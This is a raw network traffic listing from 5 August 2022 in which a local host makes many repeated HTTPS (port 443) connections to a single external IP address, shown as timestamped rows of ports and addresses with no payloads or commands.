Aug 5, 2022 12:10:35.016185999 CEST	49767	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:35.016226053 CEST	443	49767	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:35.016239882 CEST	49767	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:35.018312931 CEST	49767	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:35.874820948 CEST	49771	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:35.874869108 CEST	443	49771	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:35.875341892 CEST	49771	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:35.876115084 CEST	49771	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:35.876121998 CEST	443	49771	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:35.944287062 CEST	443	49771	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:35.945986986 CEST	49771	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:35.966788054 CEST	49771	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:35.966810942 CEST	443	49771	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:35.973011971 CEST	49771	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:35.973038912 CEST	443	49771	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:36.005155087 CEST	443	49771	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:36.005253077 CEST	443	49771	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:36.005500078 CEST	49771	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:36.018016100 CEST	49771	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:36.018100977 CEST	443	49771	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:36.018115997 CEST	49771	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:36.018193007 CEST	49771	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:36.908495903 CEST	49774	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:36.908562899 CEST	443	49774	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:36.908704996 CEST	49774	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:36.909219980 CEST	49774	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:36.909240961 CEST	443	49774	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:36.968671083 CEST	443	49774	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:36.968915939 CEST	49774	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:36.979032993 CEST	49774	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:36.979059935 CEST	443	49774	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:37.017249107 CEST	49774	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:37.017277002 CEST	443	49774	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:37.047148943 CEST	443	49774	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:37.047266006 CEST	443	49774	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:37.047348022 CEST	49774	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:37.049839020 CEST	49774	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:37.110239983 CEST	49774	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:37.110289097 CEST	443	49774	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:37.110306978 CEST	49774	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:37.110341072 CEST	49774	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:38.116297007 CEST	49775	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:38.116383076 CEST	443	49775	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:38.116534948 CEST	49775	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:38.120260000 CEST	49775	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:38.120351076 CEST	443	49775	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:38.181690931 CEST	443	49775	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:38.181817055 CEST	49775	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:38.213251114 CEST	49775	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:38.213277102 CEST	443	49775	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:38.221582890 CEST	49775	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:38.221610069 CEST	443	49775	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:38.252054930 CEST	443	49775	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:38.252156019 CEST	443	49775	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:38.252197027 CEST	49775	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:38.252290010 CEST	49775	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:38.264549971 CEST	49775	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:38.264605045 CEST	443	49775	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:38.264625072 CEST	49775	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:38.264678001 CEST	49775	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:40.126538038 CEST	49776	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:40.126590014 CEST	443	49776	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:40.126703978 CEST	49776	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:40.132534027 CEST	49776	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:40.132570028 CEST	443	49776	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:40.192085981 CEST	443	49776	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:40.192245960 CEST	49776	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:40.210887909 CEST	49776	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:40.210920095 CEST	443	49776	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:40.216975927 CEST	49776	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:40.217000961 CEST	443	49776	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:40.247502089 CEST	443	49776	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:40.247579098 CEST	443	49776	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:40.247663021 CEST	49776	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:40.248958111 CEST	49776	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:40.258586884 CEST	49776	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:40.258634090 CEST	443	49776	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:40.258656025 CEST	49776	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:40.258682013 CEST	49776	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:45.725940943 CEST	49777	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:45.725991964 CEST	443	49777	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:45.726104021 CEST	49777	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:45.731256962 CEST	49777	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:45.731281042 CEST	443	49777	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:45.793114901 CEST	443	49777	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:45.793293953 CEST	49777	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:45.823075056 CEST	49777	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:45.823093891 CEST	443	49777	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:45.830435038 CEST	49777	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:45.830455065 CEST	443	49777	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:45.858479977 CEST	443	49777	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:45.858630896 CEST	443	49777	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:45.858639002 CEST	49777	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:45.858705044 CEST	49777	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:45.889821053 CEST	49777	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:45.889858961 CEST	443	49777	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:45.889873981 CEST	49777	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:45.889918089 CEST	49777	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:46.510130882 CEST	49779	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:46.510179043 CEST	443	49779	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:46.510343075 CEST	49779	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:46.513732910 CEST	49779	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:46.513761997 CEST	443	49779	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:46.574151039 CEST	443	49779	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:46.574251890 CEST	49779	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:46.606106043 CEST	49779	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:46.606128931 CEST	443	49779	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:46.613209963 CEST	49779	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:46.613228083 CEST	443	49779	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:46.641208887 CEST	443	49779	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:46.641321898 CEST	443	49779	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:46.641330004 CEST	49779	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:46.641379118 CEST	49779	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:46.648025990 CEST	49779	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:46.648068905 CEST	443	49779	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:46.648101091 CEST	49779	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:46.648163080 CEST	49779	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:47.992748976 CEST	49780	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:47.992871046 CEST	443	49780	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:47.993048906 CEST	49780	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:48.002130985 CEST	49780	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:48.002202988 CEST	443	49780	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:48.066554070 CEST	443	49780	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:48.066656113 CEST	49780	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:48.082298040 CEST	49780	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:48.082340956 CEST	443	49780	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:48.087245941 CEST	49780	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:48.087272882 CEST	443	49780	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:48.126636982 CEST	443	49780	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:48.126755953 CEST	443	49780	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:48.126771927 CEST	49780	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:48.126832008 CEST	49780	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:48.137322903 CEST	49780	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:48.137383938 CEST	443	49780	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:48.137404919 CEST	49780	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:48.137481928 CEST	49780	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:49.148189068 CEST	49781	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:49.148243904 CEST	443	49781	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:49.148348093 CEST	49781	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:49.150369883 CEST	49781	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:49.150403023 CEST	443	49781	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:49.215902090 CEST	443	49781	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:49.216044903 CEST	49781	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:49.246895075 CEST	49781	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:49.246918917 CEST	443	49781	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:49.276052952 CEST	49781	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:49.276083946 CEST	443	49781	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:49.304097891 CEST	443	49781	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:49.304228067 CEST	49781	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:49.304253101 CEST	443	49781	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:49.304315090 CEST	49781	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:49.304326057 CEST	443	49781	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:49.304371119 CEST	443	49781	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:49.304408073 CEST	49781	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:49.304429054 CEST	49781	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:49.317727089 CEST	49781	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:49.317783117 CEST	443	49781	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:49.317804098 CEST	49781	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:49.317886114 CEST	49781	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:50.266781092 CEST	49782	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:50.266840935 CEST	443	49782	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:50.266935110 CEST	49782	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:50.268548965 CEST	49782	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:50.268575907 CEST	443	49782	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:50.327228069 CEST	443	49782	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:50.327389956 CEST	49782	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:50.347749949 CEST	49782	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:50.347776890 CEST	443	49782	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:50.353282928 CEST	49782	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:50.353310108 CEST	443	49782	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:50.381649971 CEST	443	49782	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:50.381761074 CEST	443	49782	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:50.381921053 CEST	49782	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:50.381952047 CEST	49782	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:50.409758091 CEST	49782	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:50.409806013 CEST	443	49782	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:50.409832954 CEST	49782	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:50.409888029 CEST	49782	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:50.868244886 CEST	49783	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:50.868298054 CEST	443	49783	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:50.868405104 CEST	49783	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:50.870731115 CEST	49783	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:50.870759010 CEST	443	49783	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:50.931170940 CEST	443	49783	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:50.931412935 CEST	49783	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:50.943285942 CEST	49783	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:50.943322897 CEST	443	49783	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:50.947835922 CEST	49783	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:50.947865009 CEST	443	49783	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:50.985673904 CEST	443	49783	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:50.985814095 CEST	443	49783	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:50.985937119 CEST	49783	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:50.986015081 CEST	49783	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:50.999171972 CEST	49783	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:50.999212980 CEST	443	49783	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:50.999229908 CEST	49783	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:50.999284983 CEST	49783	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:51.982626915 CEST	49785	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:51.982713938 CEST	443	49785	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:51.982883930 CEST	49785	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:51.984354019 CEST	49785	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:51.984411955 CEST	443	49785	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:52.044487953 CEST	443	49785	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:52.044569969 CEST	49785	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:52.045367002 CEST	49785	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:52.045384884 CEST	443	49785	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:52.049675941 CEST	49785	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:52.049698114 CEST	443	49785	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:52.099595070 CEST	443	49785	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:52.099718094 CEST	443	49785	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:52.099733114 CEST	49785	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:52.099780083 CEST	49785	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:52.115022898 CEST	49785	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:52.115063906 CEST	443	49785	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:52.115075111 CEST	49785	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:52.115114927 CEST	49785	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:52.762276888 CEST	49786	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:52.762331009 CEST	443	49786	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:52.762434006 CEST	49786	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:52.763240099 CEST	49786	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:52.763272047 CEST	443	49786	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:52.827704906 CEST	443	49786	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:52.827902079 CEST	49786	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:52.828363895 CEST	49786	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:52.828385115 CEST	443	49786	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:52.833781958 CEST	49786	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:52.833827019 CEST	443	49786	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:52.882977009 CEST	443	49786	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:52.883095026 CEST	443	49786	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:52.883183002 CEST	49786	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:52.883472919 CEST	49786	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:52.893436909 CEST	49786	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:52.893474102 CEST	443	49786	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:52.893485069 CEST	49786	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:52.893542051 CEST	49786	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:53.488665104 CEST	49787	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:53.488712072 CEST	443	49787	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:53.488852024 CEST	49787	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:53.490490913 CEST	49787	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:53.490504026 CEST	443	49787	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:53.552906036 CEST	443	49787	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:53.553009033 CEST	49787	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:53.553495884 CEST	49787	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:53.553509951 CEST	443	49787	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:53.558306932 CEST	49787	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:53.558335066 CEST	443	49787	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:53.610093117 CEST	443	49787	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:53.610162973 CEST	443	49787	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:53.610204935 CEST	49787	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:53.610224962 CEST	49787	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:53.618879080 CEST	49787	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:53.618923903 CEST	443	49787	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:53.618936062 CEST	49787	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:53.619049072 CEST	49787	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:54.022077084 CEST	49788	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:54.022142887 CEST	443	49788	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:54.022288084 CEST	49788	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:54.022993088 CEST	49788	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:54.023009062 CEST	443	49788	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:54.086038113 CEST	443	49788	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:54.086143970 CEST	49788	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:54.090837955 CEST	49788	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:54.090864897 CEST	443	49788	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:54.095592022 CEST	49788	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:54.095624924 CEST	443	49788	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:54.140796900 CEST	443	49788	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:54.140904903 CEST	49788	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:54.140932083 CEST	443	49788	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:54.140954018 CEST	443	49788	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:54.140997887 CEST	49788	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:54.141032934 CEST	49788	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:54.150799990 CEST	49788	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:54.150839090 CEST	443	49788	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:54.150856018 CEST	49788	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:54.150907993 CEST	49788	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:54.993921041 CEST	49789	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:54.993971109 CEST	443	49789	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:54.994057894 CEST	49789	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:54.995678902 CEST	49789	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:54.995707035 CEST	443	49789	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:55.055443048 CEST	443	49789	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:55.055548906 CEST	49789	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:55.056005955 CEST	49789	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:55.056025028 CEST	443	49789	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:55.060184956 CEST	49789	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:55.060234070 CEST	443	49789	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:55.110619068 CEST	443	49789	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:55.110691071 CEST	443	49789	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:55.110743999 CEST	49789	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:55.110766888 CEST	49789	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:55.125396967 CEST	49789	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:55.125430107 CEST	443	49789	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:55.125446081 CEST	49789	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:55.125482082 CEST	49789	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:56.096854925 CEST	49790	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:56.096921921 CEST	443	49790	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:56.097034931 CEST	49790	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:56.100330114 CEST	49790	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:56.100385904 CEST	443	49790	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:56.160656929 CEST	443	49790	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:56.160752058 CEST	49790	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:56.161267996 CEST	49790	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:56.161278963 CEST	443	49790	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:56.165944099 CEST	49790	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:56.165967941 CEST	443	49790	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:56.216588020 CEST	443	49790	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:56.216681957 CEST	443	49790	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:56.216720104 CEST	49790	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:56.216739893 CEST	49790	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:56.230997086 CEST	49790	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:56.231029987 CEST	443	49790	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:56.231040001 CEST	49790	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:56.231084108 CEST	49790	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:56.848984957 CEST	49791	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:56.849039078 CEST	443	49791	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:56.849143982 CEST	49791	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:56.849725008 CEST	49791	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:56.849749088 CEST	443	49791	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:56.909413099 CEST	443	49791	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:56.909604073 CEST	49791	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:56.910281897 CEST	49791	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:56.910304070 CEST	443	49791	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:56.914936066 CEST	49791	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:56.914977074 CEST	443	49791	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:56.966327906 CEST	443	49791	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:56.966420889 CEST	443	49791	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:56.966449022 CEST	49791	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:56.966474056 CEST	49791	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:56.978341103 CEST	49791	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:56.978399038 CEST	443	49791	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:56.978419065 CEST	49791	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:56.978466034 CEST	49791	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:57.359448910 CEST	49792	443	192.168.2.6	208.67.105.81
